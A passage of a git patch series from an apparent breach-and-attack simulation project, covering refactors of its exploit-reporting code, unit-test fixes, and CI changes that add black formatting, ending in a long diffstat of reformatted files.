[descriptor.display_name.value + for descriptor in ExploiterDescriptorEnum + if descriptor.class_name.value == class_name][0] diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index a70634f0773..d84c5ad9414 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -145,7 +145,9 @@ def get_exploited(): @staticmethod def get_exploits_used_on_node(node: dict) -> List[str]: - return list(set([exploit['exploiter'] for exploit in node['exploits'] if exploit['result']])) + return list(set([ExploiterDescriptorEnum.get_display_name_by_class_name(exploit['exploiter']) + for exploit in node['exploits'] + if exploit['result']])) @staticmethod def get_stolen_creds(): @@ -483,7 +485,8 @@ def get_config_exploits(): if exploits == default_exploits: return ['default'] - return exploits + return [ExploiterDescriptorEnum.get_display_name_by_class_name(exploit) + for exploit in exploits] @staticmethod def get_config_ips(): From 6685b24da4f77a1ba16fc48fca907f153e9edf2e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Apr 2021 10:16:05 +0300 Subject: [PATCH 0135/1360] Removed unused annotations import --- .../exploit_processing/processors/cred_exploit.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py index dc7a38e66a2..43156561c0a 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ ExploiterReportInfo, CredentialType from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ExploitProcessor From 0b34d30fd6e7908df27de705b9272eb109e7f7ea Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 6 Apr 2021 11:35:41 +0300 Subject: [PATCH 0136/1360] Improved exploiter descriptors and usage of them in report.py --- .../exploit_processing/exploiter_descriptor_enum.py | 13 +++---------- .../monkey_island/cc/services/reporting/report.py | 9 ++++----- 2 files changed, 7 insertions(+), 15 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 08c47117409..65964b5de35 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -36,14 +36,7 @@ class ExploiterDescriptorEnum(Enum): ZEROLOGON = ExploiterDescriptor('ZerologonExploiter', 'Zerologon Exploiter', ZerologonExploitProcessor) @staticmethod - def __dict__() -> Dict[str, ExploiterDescriptor]: - descriptor_dict = {} - for descriptor in ExploiterDescriptorEnum: - descriptor_dict[descriptor.value.class_name] = descriptor - return descriptor_dict - - @staticmethod - def get_display_name_by_class_name(class_name: str) -> str: - return [descriptor.display_name.value + def get_by_class_name(class_name: str) -> ExploiterDescriptor: + return [descriptor.value for descriptor in ExploiterDescriptorEnum - if descriptor.class_name.value == class_name][0] + if descriptor.value.class_name == class_name][0] diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index d84c5ad9414..6430a2559a9 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -32,7 +32,6 @@ class ReportService: - exploiter_descriptors = ExploiterDescriptorEnum.__dict__ class DerivedIssueEnum: WEAK_PASSWORD = "weak_password" @@ -145,7 +144,7 @@ def get_exploited(): @staticmethod def get_exploits_used_on_node(node: dict) -> List[str]: - return list(set([ExploiterDescriptorEnum.get_display_name_by_class_name(exploit['exploiter']) + return list(set([ExploiterDescriptorEnum.get_by_class_name(exploit['exploiter']).display_name for exploit in node['exploits'] if exploit['result']])) @@ -253,9 +252,9 @@ def get_azure_creds(): @staticmethod def process_exploit(exploit) -> ExploiterReportInfo: exploiter_type = exploit['data']['exploiter'] - exploiter_descriptor = ReportService.exploiter_descriptors[exploiter_type].value + exploiter_descriptor = ExploiterDescriptorEnum.get_by_class_name(exploiter_type) processor = exploiter_descriptor.processor() - exploiter_info = processor.get_exploit_info_by_dict(exploiter_descriptor.class_name, exploit) + exploiter_info = processor.get_exploit_info_by_dict(exploiter_type, exploit) return exploiter_info @staticmethod @@ -485,7 +484,7 @@ def get_config_exploits(): if exploits == default_exploits: return ['default'] - return [ExploiterDescriptorEnum.get_display_name_by_class_name(exploit) + return [ExploiterDescriptorEnum.get_by_class_name(exploit).display_name for exploit in exploits] @staticmethod From b94568f976fbd194b0b6005921bcb1b49e5b0bb4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 06:59:03 -0400 Subject: [PATCH 0137/1360] ci: add comment about what flake8 C901 warnings are --- .flake8 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.flake8 b/.flake8 index 4c673215a6a..4bf12711479 100644 --- a/.flake8 +++ b/.flake8 @@ -6,7 +6,8 @@ show-source = True max-complexity = 10 max-line-length = 100 -### ignore "whitespace before ':'" and "line break before binary operator" for compatibility with black +### ignore "whitespace before ':'", "line break before binary operator" for +### compatibility with black, and cyclomatic complexity (for now). extend-ignore = E203, W503, C901 ### --statistics Count the number of occurrences of each error/warning code and print a report. From fa0729881e6633914c62ea488278c11391987953 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Apr 2021 18:12:03 +0530 Subject: [PATCH 0138/1360] Remove unused imports --- .../issue_processing/exploit_processing/processors/exploit.py | 2 -- .../exploit_processing/processors/shellshock_exploit.py | 2 -- 2 files changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py index d48a661d144..c541ba2523d 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/exploit.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import \ ExploiterReportInfo diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py index f8d36d4d89c..d33bd8615d6 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import \ ExploiterReportInfo, ExploitProcessor From 7973a3533891e684771c79f3a200c3148115568e Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 6 Apr 2021 18:31:02 +0530 Subject: [PATCH 0139/1360] Fix unit tests --- monkey/monkey_island/cc/services/reporting/test_report.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/test_report.py b/monkey/monkey_island/cc/services/reporting/test_report.py index 9983371a4dd..5f95eae4721 100644 --- a/monkey/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_report.py @@ -42,10 +42,10 @@ def test_get_exploits_used_on_node(): exploits = ReportService.get_exploits_used_on_node(NODE_DICT) - assert sorted(exploits) == sorted(['ElasticGroovyExploiter', 'DrupalExploiter']) + assert sorted(exploits) == sorted(['Elastic Groovy Exploiter', 'Drupal Server Exploiter']) exploits = ReportService.get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS) - assert exploits == ['DrupalExploiter'] + assert exploits == ['Drupal Server Exploiter'] exploits = ReportService.get_exploits_used_on_node(NODE_DICT_FAILED_EXPLOITS) assert exploits == [] From d0e1239b27eefe1597f46ab995f60f7576b4b7f5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 1 Apr 2021 12:50:49 -0400 Subject: [PATCH 0140/1360] ci: fail the build if code is not formatted with black --- .travis.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 6796583d3f2..675ee16cafd 100644 --- a/.travis.yml +++ b/.travis.yml @@ -24,7 +24,7 @@ install: # Python - pip freeze - pip install -r monkey/monkey_island/requirements.txt # for unit tests -- pip install flake8 pytest pytest-cov isort # for next stages +- pip install black flake8 pytest pytest-cov isort # for next stages - pip install coverage # for code coverage - pip install -r monkey/infection_monkey/requirements.txt # for unit tests - pip install pipdeptree @@ -60,6 +60,9 @@ script: ## Check import order - python -m isort ./monkey --settings-file ./ci_scripts/isort.cfg +## Check that all python is properly formatted. Fail otherwise. +- python -m black --check . + ## Run unit tests and generate coverage data - cd monkey # This is our source dir - python -m pytest --cov=. # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. From 7343b501353637c1ef33eb56ce5139d72bef72a0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 2 Apr 2021 16:10:00 +0530 Subject: [PATCH 0141/1360] Add configuration for black --- pyproject.toml | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 pyproject.toml diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 00000000000..97f50372bb9 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,3 @@ +[tool.black] +line-length = 100 +target-version = ['py37'] From c40f7bf6c97f599303dd6470c8f295ec8fc386bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Apr 2021 09:19:27 -0400 Subject: [PATCH 0142/1360] Reformat all python with black v20.8b1 --- .../monkey_zoo/blackbox/analyzers/analyzer.py | 1 - .../blackbox/analyzers/analyzer_log.py | 1 - .../analyzers/communication_analyzer.py | 3 +- .../analyzers/performance_analyzer.py | 5 +- .../blackbox/analyzers/zerologon_analyzer.py | 39 +- .../config_templates/base_template.py | 8 +- .../config_templates/config_template.py | 1 - .../blackbox/config_templates/drupal.py | 12 +- .../blackbox/config_templates/elastic.py | 12 +- .../blackbox/config_templates/hadoop.py | 10 +- .../blackbox/config_templates/mssql.py | 24 +- .../blackbox/config_templates/performance.py | 102 ++- .../blackbox/config_templates/shellshock.py | 10 +- .../blackbox/config_templates/smb_mimikatz.py | 26 +- .../blackbox/config_templates/smb_pth.py | 14 +- .../blackbox/config_templates/ssh.py | 23 +- .../blackbox/config_templates/struts2.py | 10 +- .../blackbox/config_templates/tunneling.py | 51 +- .../blackbox/config_templates/weblogic.py | 10 +- .../blackbox/config_templates/wmi_mimikatz.py | 28 +- .../blackbox/config_templates/zerologon.py | 14 +- envs/monkey_zoo/blackbox/conftest.py | 36 +- .../island_client/island_config_parser.py | 19 +- .../island_client/monkey_island_client.py | 34 +- .../island_client/monkey_island_requests.py | 65 +- .../blackbox/log_handlers/monkey_log.py | 8 +- .../log_handlers/monkey_log_parser.py | 3 +- .../log_handlers/monkey_logs_downloader.py | 1 - .../log_handlers/test_logs_handler.py | 8 +- envs/monkey_zoo/blackbox/test_blackbox.py | 178 ++-- envs/monkey_zoo/blackbox/tests/basic_test.py | 1 - .../monkey_zoo/blackbox/tests/exploitation.py | 21 +- .../performance/endpoint_performance_test.py | 6 +- .../tests/performance/map_generation.py | 30 +- .../map_generation_from_telemetries.py | 25 +- .../tests/performance/performance_test.py | 6 +- .../performance/performance_test_config.py | 10 +- .../performance/performance_test_workflow.py | 13 +- .../tests/performance/report_generation.py | 37 +- .../report_generation_from_telemetries.py | 27 +- .../sample_file_parser.py | 24 +- .../sample_multiplier/fake_ip_generator.py | 6 +- .../sample_multiplier/fake_monkey.py | 5 +- .../sample_multiplier/sample_multiplier.py | 67 +- .../test_fake_ip_generator.py | 18 +- .../performance/telemetry_performance_test.py | 38 +- .../telemetry_performance_test_workflow.py | 23 +- .../blackbox/utils/gcp_machine_handlers.py | 19 +- envs/os_compatibility/conftest.py | 10 +- envs/os_compatibility/test_compatibility.py | 7 +- monkey/__init__.py | 2 +- monkey/common/__init__.py | 2 +- monkey/common/cloud/__init__.py | 2 +- monkey/common/cloud/aws/aws_instance.py | 25 +- monkey/common/cloud/aws/aws_service.py | 35 +- monkey/common/cloud/aws/test_aws_instance.py | 150 ++-- monkey/common/cloud/aws/test_aws_service.py | 12 +- monkey/common/cloud/azure/azure_instance.py | 17 +- .../common/cloud/azure/test_azure_instance.py | 176 ++-- monkey/common/cloud/gcp/gcp_instance.py | 15 +- monkey/common/cloud/instance.py | 1 + monkey/common/cloud/scoutsuite_consts.py | 10 +- monkey/common/cmd/aws/aws_cmd_result.py | 13 +- monkey/common/cmd/aws/aws_cmd_runner.py | 17 +- monkey/common/cmd/cmd.py | 2 +- monkey/common/cmd/cmd_result.py | 2 +- monkey/common/cmd/cmd_runner.py | 21 +- monkey/common/cmd/cmd_status.py | 2 +- monkey/common/common_consts/api_url_consts.py | 2 +- monkey/common/common_consts/network_consts.py | 2 +- .../common/common_consts/telem_categories.py | 18 +- .../common/common_consts/zero_trust_consts.py | 98 ++- monkey/common/config_value_paths.py | 26 +- monkey/common/network/__init__.py | 2 +- monkey/common/network/network_range.py | 34 +- monkey/common/network/network_utils.py | 4 +- monkey/common/network/test_network_utils.py | 6 +- .../common/network/test_segmentation_utils.py | 16 +- monkey/common/utils/attack_utils.py | 46 +- monkey/common/utils/mongo_utils.py | 10 +- monkey/common/utils/shellcode_obfuscator.py | 4 +- .../common/utils/test_shellcode_obfuscator.py | 5 +- monkey/common/utils/wmi_utils.py | 3 +- monkey/common/version.py | 6 +- monkey/infection_monkey/__init__.py | 2 +- monkey/infection_monkey/config.py | 88 +- monkey/infection_monkey/control.py | 294 ++++--- monkey/infection_monkey/dropper.py | 181 ++-- .../infection_monkey/exploit/HostExploiter.py | 48 +- monkey/infection_monkey/exploit/drupal.py | 117 ++- .../infection_monkey/exploit/elasticgroovy.py | 45 +- monkey/infection_monkey/exploit/hadoop.py | 59 +- monkey/infection_monkey/exploit/mssqlexec.py | 108 ++- monkey/infection_monkey/exploit/sambacry.py | 302 ++++--- monkey/infection_monkey/exploit/shellshock.py | 139 +-- .../exploit/shellshock_resources.py | 806 +++++++++--------- monkey/infection_monkey/exploit/smbexec.py | 135 +-- monkey/infection_monkey/exploit/sshexec.py | 123 +-- monkey/infection_monkey/exploit/struts2.py | 50 +- .../exploit/tests/test_zerologon.py | 20 +- .../zerologon_utils/test_vuln_assessment.py | 4 +- .../infection_monkey/exploit/tools/helpers.py | 48 +- .../exploit/tools/http_tools.py | 23 +- .../exploit/tools/payload_parsing.py | 14 +- .../exploit/tools/payload_parsing_test.py | 18 +- .../exploit/tools/smb_tools.py | 184 ++-- .../exploit/tools/test_helpers.py | 19 +- .../exploit/tools/wmi_tools.py | 35 +- monkey/infection_monkey/exploit/vsftpd.py | 90 +- monkey/infection_monkey/exploit/web_rce.py | 236 +++-- monkey/infection_monkey/exploit/weblogic.py | 84 +- .../infection_monkey/exploit/win_ms08_067.py | 282 +++--- monkey/infection_monkey/exploit/wmiexec.py | 104 ++- monkey/infection_monkey/exploit/zerologon.py | 77 +- .../exploit/zerologon_utils/dump_secrets.py | 5 +- .../exploit/zerologon_utils/remote_shell.py | 12 +- .../zerologon_utils/vuln_assessment.py | 15 +- .../exploit/zerologon_utils/wmiexec.py | 4 +- monkey/infection_monkey/main.py | 85 +- monkey/infection_monkey/model/__init__.py | 72 +- monkey/infection_monkey/model/host.py | 6 +- .../model/victim_host_generator.py | 2 +- .../model/victim_host_generator_test.py | 15 +- monkey/infection_monkey/monkey.py | 149 +++- monkey/infection_monkey/monkeyfs.py | 8 +- monkey/infection_monkey/network/HostFinger.py | 4 +- monkey/infection_monkey/network/__init__.py | 2 +- .../infection_monkey/network/elasticfinger.py | 15 +- monkey/infection_monkey/network/firewall.py | 85 +- monkey/infection_monkey/network/httpfinger.py | 13 +- monkey/infection_monkey/network/info.py | 49 +- .../network/mssql_fingerprint.py | 51 +- .../infection_monkey/network/mysqlfinger.py | 27 +- .../network/network_scanner.py | 17 +- .../infection_monkey/network/ping_scanner.py | 23 +- .../network/postgresql_finger.py | 35 +- monkey/infection_monkey/network/smbfinger.py | 164 ++-- monkey/infection_monkey/network/sshfinger.py | 26 +- .../infection_monkey/network/tcp_scanner.py | 14 +- .../network/test_postgresql_finger.py | 29 +- monkey/infection_monkey/network/tools.py | 56 +- .../infection_monkey/post_breach/__init__.py | 2 +- .../account_discovery/account_discovery.py | 10 +- .../linux_account_discovery.py | 4 +- .../post_breach/actions/add_user.py | 9 +- .../actions/change_file_privileges.py | 9 +- .../actions/clear_command_history.py | 27 +- .../actions/communicate_as_new_user.py | 38 +- .../post_breach/actions/discover_accounts.py | 10 +- .../post_breach/actions/hide_files.py | 18 +- .../actions/modify_shell_startup_files.py | 38 +- .../post_breach/actions/schedule_jobs.py | 14 +- .../post_breach/actions/timestomping.py | 4 +- .../post_breach/actions/use_signed_scripts.py | 18 +- .../post_breach/actions/use_trap_command.py | 3 +- .../post_breach/actions/users_custom_pba.py | 28 +- .../clear_command_history.py | 15 +- .../linux_clear_command_history.py | 44 +- .../job_scheduling/job_scheduling.py | 8 +- .../job_scheduling/linux_job_scheduling.py | 12 +- .../job_scheduling/windows_job_scheduling.py | 8 +- monkey/infection_monkey/post_breach/pba.py | 10 +- .../post_breach/post_breach_handler.py | 2 +- .../setuid_setgid/linux_setuid_setgid.py | 6 +- .../setuid_setgid/setuid_setgid.py | 4 +- .../linux/shell_startup_files_modification.py | 47 +- .../shell_startup_files_modification.py | 10 +- .../shell_startup_files_modification.py | 24 +- .../signed_script_proxy.py | 10 +- .../windows/signed_script_proxy.py | 17 +- .../tests/actions/test_users_custom_pba.py | 28 +- .../timestomping/linux/timestomping.py | 10 +- .../post_breach/timestomping/timestomping.py | 8 +- .../timestomping/windows/timestomping.py | 4 +- .../trap_command/linux_trap_command.py | 4 +- .../hook-infection_monkey.exploit.py | 4 +- .../hook-infection_monkey.network.py | 4 +- ...ok-infection_monkey.post_breach.actions.py | 4 +- ...infection_monkey.system_info.collectors.py | 4 +- monkey/infection_monkey/pyinstaller_utils.py | 4 +- .../system_info/SSH_info_collector.py | 51 +- .../infection_monkey/system_info/__init__.py | 22 +- .../system_info/azure_cred_collector.py | 80 +- .../system_info/collectors/aws_collector.py | 10 +- .../collectors/process_list_collector.py | 2 +- .../scoutsuite_collector.py | 14 +- .../system_info/linux_info_collector.py | 4 +- .../system_info/netstat_collector.py | 33 +- .../system_info/system_info_collector.py | 1 + .../system_info_collectors_handler.py | 7 +- .../mimikatz_cred_collector.py | 5 +- .../pypykatz_handler.py | 59 +- .../test_pypykatz_handler.py | 215 +++-- .../windows_credentials.py | 10 +- .../system_info/windows_info_collector.py | 31 +- .../system_info/wmi_consts.py | 101 ++- monkey/infection_monkey/system_singleton.py | 29 +- .../telemetry/attack/attack_telem.py | 6 +- .../telemetry/attack/t1005_telem.py | 7 +- .../telemetry/attack/t1035_telem.py | 2 +- .../telemetry/attack/t1064_telem.py | 6 +- .../telemetry/attack/t1105_telem.py | 8 +- .../telemetry/attack/t1107_telem.py | 6 +- .../telemetry/attack/t1197_telem.py | 6 +- .../telemetry/attack/t1222_telem.py | 6 +- .../telemetry/attack/usage_telem.py | 5 +- .../telemetry/attack/victim_host_telem.py | 7 +- .../infection_monkey/telemetry/base_telem.py | 2 +- .../telemetry/exploit_telem.py | 11 +- .../telemetry/post_breach_telem.py | 11 +- .../infection_monkey/telemetry/scan_telem.py | 6 +- .../telemetry/scoutsuite_telem.py | 5 +- .../infection_monkey/telemetry/state_telem.py | 6 +- .../telemetry/system_info_telem.py | 1 - .../tests/attack/test_victim_host_telem.py | 2 +- .../infection_monkey/telemetry/trace_telem.py | 5 +- .../telemetry/tunnel_telem.py | 5 +- monkey/infection_monkey/transport/base.py | 2 +- monkey/infection_monkey/transport/http.py | 81 +- monkey/infection_monkey/transport/tcp.py | 9 +- monkey/infection_monkey/tunnel.py | 56 +- .../infection_monkey/utils/auto_new_user.py | 2 +- monkey/infection_monkey/utils/environment.py | 2 +- monkey/infection_monkey/utils/hidden_files.py | 24 +- .../utils/linux/hidden_files.py | 32 +- monkey/infection_monkey/utils/linux/users.py | 46 +- .../infection_monkey/utils/monkey_log_path.py | 10 +- .../infection_monkey/utils/plugins/plugin.py | 28 +- .../utils/plugins/pluginTests/BadInit.py | 1 - .../utils/plugins/pluginTests/ComboFile.py | 1 - .../utils/plugins/plugin_test.py | 1 - .../utils/windows/hidden_files.py | 81 +- .../infection_monkey/utils/windows/users.py | 50 +- monkey/infection_monkey/windows_upgrader.py | 38 +- monkey/monkey_island/__init__.py | 2 +- monkey/monkey_island/cc/__init__.py | 2 +- monkey/monkey_island/cc/app.py | 119 +-- monkey/monkey_island/cc/arg_parser.py | 7 +- monkey/monkey_island/cc/database.py | 4 +- .../monkey_island/cc/environment/__init__.py | 29 +- monkey/monkey_island/cc/environment/aws.py | 2 +- .../cc/environment/environment_config.py | 4 +- .../cc/environment/environment_singleton.py | 21 +- .../monkey_island/cc/environment/password.py | 2 +- .../cc/environment/set_server_config.py | 2 +- .../monkey_island/cc/environment/standard.py | 8 +- .../cc/environment/test__init__.py | 34 +- .../cc/environment/test_environment_config.py | 12 +- .../cc/environment/test_user_creds.py | 7 +- .../cc/environment/user_creds.py | 13 +- monkey/monkey_island/cc/main.py | 46 +- monkey/monkey_island/cc/models/__init__.py | 9 +- .../cc/models/attack/attack_mitigations.py | 24 +- .../cc/models/attack/mitigation.py | 4 +- .../cc/models/command_control_channel.py | 1 + monkey/monkey_island/cc/models/config.py | 3 +- monkey/monkey_island/cc/models/creds.py | 3 +- monkey/monkey_island/cc/models/edge.py | 2 +- monkey/monkey_island/cc/models/monkey.py | 34 +- monkey/monkey_island/cc/models/monkey_ttl.py | 10 +- monkey/monkey_island/cc/models/test_monkey.py | 53 +- .../cc/models/zero_trust/event.py | 8 +- .../cc/models/zero_trust/finding.py | 3 +- .../cc/models/zero_trust/monkey_finding.py | 4 +- .../models/zero_trust/scoutsuite_finding.py | 6 +- .../cc/models/zero_trust/test_event.py | 10 +- .../models/zero_trust/test_monkey_finding.py | 24 +- .../zero_trust/test_scoutsuite_finding.py | 19 +- .../cc/resources/T1216_pba_file_download.py | 8 +- monkey/monkey_island/cc/resources/__init__.py | 2 +- .../cc/resources/attack/__init__.py | 2 +- .../cc/resources/attack/attack_config.py | 19 +- .../cc/resources/attack/attack_report.py | 16 +- .../monkey_island/cc/resources/auth/auth.py | 14 +- .../cc/resources/auth/auth_user.py | 2 +- .../cc/resources/auth/registration.py | 2 +- .../monkey_island/cc/resources/bootloader.py | 15 +- .../cc/resources/bootloader_test.py | 85 +- .../monkey_island/cc/resources/client_run.py | 2 +- monkey/monkey_island/cc/resources/edge.py | 4 +- .../monkey_island/cc/resources/environment.py | 6 +- .../cc/resources/island_configuration.py | 8 +- .../monkey_island/cc/resources/island_logs.py | 2 +- .../monkey_island/cc/resources/local_run.py | 19 +- monkey/monkey_island/cc/resources/log.py | 8 +- monkey/monkey_island/cc/resources/monkey.py | 119 +-- .../cc/resources/monkey_configuration.py | 9 +- .../monkey_control/started_on_island.py | 2 +- .../cc/resources/monkey_download.py | 88 +- monkey/monkey_island/cc/resources/netmap.py | 8 +- monkey/monkey_island/cc/resources/node.py | 4 +- .../monkey_island/cc/resources/node_states.py | 2 +- .../cc/resources/pba_file_download.py | 2 +- .../cc/resources/pba_file_upload.py | 32 +- .../monkey_island/cc/resources/remote_run.py | 34 +- monkey/monkey_island/cc/resources/root.py | 11 +- .../cc/resources/security_report.py | 1 - .../monkey_island/cc/resources/telemetry.py | 43 +- .../cc/resources/telemetry_feed.py | 110 +-- .../cc/resources/test/clear_caches.py | 1 + .../cc/resources/test/log_test.py | 8 +- .../cc/resources/test/monkey_test.py | 4 +- .../cc/resources/test/telemetry_test.py | 4 +- .../cc/resources/test/utils/telem_store.py | 25 +- .../cc/resources/version_update.py | 8 +- .../cc/resources/zero_trust/finding_event.py | 11 +- .../zero_trust/scoutsuite_auth/aws_keys.py | 1 - .../scoutsuite_auth/scoutsuite_auth.py | 23 +- .../resources/zero_trust/zero_trust_report.py | 14 +- .../cc/server_utils/bootloader_server.py | 17 +- .../monkey_island/cc/server_utils/consts.py | 4 +- .../cc/server_utils/custom_json_encoder.py | 1 - .../cc/server_utils/encryptor.py | 10 +- .../cc/server_utils/island_logger.py | 4 +- monkey/monkey_island/cc/services/__init__.py | 2 +- .../cc/services/attack/__init__.py | 2 +- .../cc/services/attack/attack_config.py | 61 +- .../cc/services/attack/attack_report.py | 159 ++-- .../cc/services/attack/attack_schema.py | 154 ++-- .../cc/services/attack/mitre_api_interface.py | 32 +- .../attack/technique_reports/T1003.py | 32 +- .../attack/technique_reports/T1005.py | 53 +- .../attack/technique_reports/T1016.py | 46 +- .../attack/technique_reports/T1018.py | 43 +- .../attack/technique_reports/T1021.py | 44 +- .../attack/technique_reports/T1035.py | 2 +- .../attack/technique_reports/T1041.py | 13 +- .../attack/technique_reports/T1053.py | 4 +- .../attack/technique_reports/T1059.py | 24 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1065.py | 2 +- .../attack/technique_reports/T1075.py | 58 +- .../attack/technique_reports/T1082.py | 85 +- .../attack/technique_reports/T1086.py | 37 +- .../attack/technique_reports/T1090.py | 2 +- .../attack/technique_reports/T1105.py | 23 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1107.py | 41 +- .../attack/technique_reports/T1110.py | 37 +- .../attack/technique_reports/T1129.py | 6 +- .../attack/technique_reports/T1136.py | 5 +- .../attack/technique_reports/T1145.py | 22 +- .../attack/technique_reports/T1146.py | 28 +- .../attack/technique_reports/T1156.py | 37 +- .../attack/technique_reports/T1168.py | 4 +- .../attack/technique_reports/T1188.py | 12 +- .../attack/technique_reports/T1197.py | 29 +- .../attack/technique_reports/T1210.py | 52 +- .../attack/technique_reports/T1216.py | 28 +- .../attack/technique_reports/T1222.py | 26 +- .../attack/technique_reports/T1504.py | 28 +- .../attack/technique_reports/__init__.py | 47 +- .../attack/technique_reports/pba_technique.py | 36 +- .../technique_report_tools.py | 20 +- .../technique_reports/usage_technique.py | 49 +- .../attack/test_mitre_api_interface.py | 9 +- .../monkey_island/cc/services/bootloader.py | 44 +- .../cc/services/bootloader_test.py | 13 +- monkey/monkey_island/cc/services/config.py | 192 +++-- .../cc/services/config_schema/basic.py | 38 +- .../services/config_schema/basic_network.py | 82 +- .../services/config_schema/config_schema.py | 16 +- .../definitions/finger_classes.py | 54 +- .../definitions/post_breach_actions.py | 82 +- .../system_info_collector_classes.py | 51 +- .../cc/services/config_schema/internal.py | 279 +++--- .../cc/services/config_schema/monkey.py | 77 +- monkey/monkey_island/cc/services/database.py | 13 +- .../cc/services/edge/displayed_edge.py | 45 +- monkey/monkey_island/cc/services/edge/edge.py | 15 +- .../cc/services/edge/test_displayed_edge.py | 114 +-- .../cc/services/edge/test_edge.py | 5 +- .../cc/services/groups_and_users_consts.py | 2 +- .../cc/services/infection_lifecycle.py | 23 +- .../monkey_island/cc/services/island_logs.py | 12 +- monkey/monkey_island/cc/services/log.py | 34 +- .../cc/services/netmap/net_edge.py | 42 +- .../cc/services/netmap/net_node.py | 1 - monkey/monkey_island/cc/services/node.py | 220 +++-- .../cc/services/post_breach_files.py | 28 +- .../cc/services/remote_run_aws.py | 65 +- .../cc/services/reporting/aws_exporter.py | 256 +++--- .../cc/services/reporting/exporter_init.py | 5 +- .../exploiter_descriptor_enum.py | 65 +- .../exploiter_report_info.py | 6 +- .../processors/cred_exploit.py | 25 +- .../exploit_processing/processors/exploit.py | 8 +- .../processors/shellshock_exploit.py | 13 +- .../processors/zerologon.py | 9 +- .../cc/services/reporting/pth_report.py | 239 +++--- .../cc/services/reporting/report.py | 509 ++++++----- .../reporting/report_exporter_manager.py | 4 +- .../report_generation_synchronisation.py | 2 + .../cc/services/reporting/test_report.py | 73 +- .../cc/services/representations.py | 6 +- .../cc/services/representations_test.py | 40 +- .../services/telemetry/processing/exploit.py | 65 +- .../telemetry/processing/post_breach.py | 28 +- .../telemetry/processing/processing.py | 33 +- .../cc/services/telemetry/processing/scan.py | 30 +- .../telemetry/processing/scoutsuite.py | 22 +- .../cc/services/telemetry/processing/state.py | 21 +- .../telemetry/processing/system_info.py | 63 +- .../processing/system_info_collectors/aws.py | 4 +- .../system_info_telemetry_dispatcher.py | 52 +- .../test_environment.py | 7 +- .../test_system_info_telemetry_dispatcher.py | 11 +- .../telemetry/processing/test_post_breach.py | 122 ++- .../services/telemetry/processing/tunnel.py | 8 +- .../cc/services/telemetry/processing/utils.py | 8 +- .../zero_trust_checks/antivirus_existence.py | 36 +- .../communicate_as_new_user.py | 35 +- .../zero_trust_checks/data_endpoints.py | 109 ++- .../zero_trust_checks/known_anti_viruses.py | 2 +- .../zero_trust_checks/machine_exploited.py | 24 +- .../zero_trust_checks/segmentation.py | 64 +- .../test_segmentation_checks.py | 38 +- .../telemetry/zero_trust_checks/tunneling.py | 32 +- .../services/tests/reporting/test_report.py | 10 +- .../cc/services/tests/test_config.py | 9 +- .../cc/services/utils/network_utils.py | 35 +- .../cc/services/utils/node_states.py | 64 +- .../cc/services/utils/node_states_test.py | 17 +- .../cc/services/version_update.py | 22 